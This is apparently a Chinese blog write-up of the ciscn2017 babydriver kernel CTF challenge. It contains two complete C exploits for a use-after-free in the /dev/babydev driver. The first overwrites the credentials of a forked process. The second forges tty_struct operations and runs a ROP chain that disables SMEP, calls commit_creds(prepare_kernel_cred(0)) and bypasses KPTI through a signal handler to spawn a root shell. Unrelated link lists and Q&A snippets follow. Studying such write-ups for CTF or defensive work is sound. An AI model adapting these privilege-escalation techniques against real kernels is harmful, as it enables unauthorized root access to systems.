kernel UAF && tty_struct
kernel UAF && 劫持tty_struct
ciscn2017_babydriver
exp1
fork
进程时会申请堆来存放cred
。cred结构大小为0xA8。修改cred
里的uid
,gid
为0,即可get root
#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0)
{
puts("[-] open error");
exit(-1);
}
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int pid = fork();
if(pid < 0)
{
puts("[-] fork error");
exit(-1);
}
else if(pid == 0)
{
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] root now");
system("/bin/sh");
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
exp2
打开ptmx
时会申请一个大小为0x2e0
的结构体tty_struct
,(size_t)tty_struct[3]
的位置是tty_operations
里面存放了函数指针,劫持这个结构体可实现栈迁移。
劫持write
指针,则rax
是tty_operations
的地址,劫持ioctl
指针,则rcx
是tty_operations
的地址
补充一下:在开启 KPTI
的情况下直接返回用户态会 segmentation fault
,可以把原来的返回地址 get_shell
函数设为 signal
信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(signal(11, (size_t)get_shell)
)
当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode
直接绕过 KPTI
,可能由于本题内核是一个过渡版本还没有KPTI
而是PTI
,我并没能找到这个函数。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
system("/bin/sh");
puts("[*] get shell");
}
else
{
puts("[-] get shell error");
sleep(5);
exit(0);
}
}
void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};
save_status();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(5);
exit(0);
}
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(5);
exit(0);
}
int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2, fake_tty_struct, 32);
write(fd_tty,"FXC",3);
return 0;
}
kernel UAF && tty_struct的更多相关文章
- Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...
- Summary of Critical and Exploitable iOS Vulnerabilities in 2016
Summary of Critical and Exploitable iOS Vulnerabilities in 2016 Author:Min (Spark) Zheng, Cererdlong ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- Linux kernel(CVE-2018-17182)提权漏洞复现
0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ...
- linux kernel下输入输出console怎样实现
近期工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及user空间的输入输出控制台. 利用这个机会,学习下printk怎样选择往哪个console输出以及user空间下控制台怎样选择. ...
- ret2dir:Rethinking Kernel Isolation(翻译)
前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...
- [03] HEVD 内核漏洞之UAF
作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...
- linux kernel下输入输出console如何实现【转】
转自:https://blog.csdn.net/skyflying2012/article/details/41078349 最近工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及u ...
随机推荐
- awk 详解?
awk '{pattern + action}' {filenames} #cat /etc/passwd |awk -F ':' '{print 1"\t"7}' //-F 的意 ...
- 在 Spring MVC 应用程序中使用 WebMvcTest 注释有什么用处?
在测试目标只关注 Spring MVC 组件的情况下,WebMvcTest 注释用于单元测试 Spring MVC 应用程序.在上面显示的快照中,我们只想启动 ToTestController. 执行 ...
- 对于 GC 方面,在使用 Elasticsearch 时要注意什么?
1.SEE:https://elasticsearch.cn/article/32 2.倒排词典的索引需要常驻内存,无法 GC,需要监控 data node 上 segmentmemory 增长趋势. ...
- 基本类型数组转List
基本类型数组转List 小数 double[] src = {1.1,2.1,3.1}; List<Double> list = Arrays.stream( src ).boxed(). ...
- 【Linux-vim】vim文件:查看某几行,把某几行复制到另一个文件中
一.查看文件的某几行1.使用cat命令(1)查看文件的前10行: cat filename |head -n 10(2)查看文件后10行: cat filename |tail -n 10(3)查看文 ...
- 4.4 ROS节点名称重名
4.4 ROS节点名称重名 场景:ROS 中创建的节点是有名称的,C++初始化节点时通过API:ros::init(argc,argv,"xxxx");来定义节点名称,在Pytho ...
- AS修改text内容+显示不同页面
新创建一个project,命名为myclass. 一:修改 在res中找到layout打开xml文件,右上角有一个code,点击进入可以写代码的文件,并在里面进行修改.(老版本写代码的界面在下面与de ...
- PAT B1056组合数的和
给定 N 个非 0 的个位数字,用其中任意 2 个数字都可以组合成 1 个 2 位的数字.要求所有可能组合出来的 2 位数字的和.例如给定 2.5.8,则可以组合出:25.28.52.58.82.85 ...
- Oracle中between 和 in
select * from test_s where id between 2 and 12; between 就是左右全闭区间. SELECT columnsFROM tablesWHERE col ...
- vuejs兄弟组件之间的通信
var Event = new Vue();//准备一个空的实例对象 //A组件 var A = { template: ` <div> <span>我是A组件的数据-> ...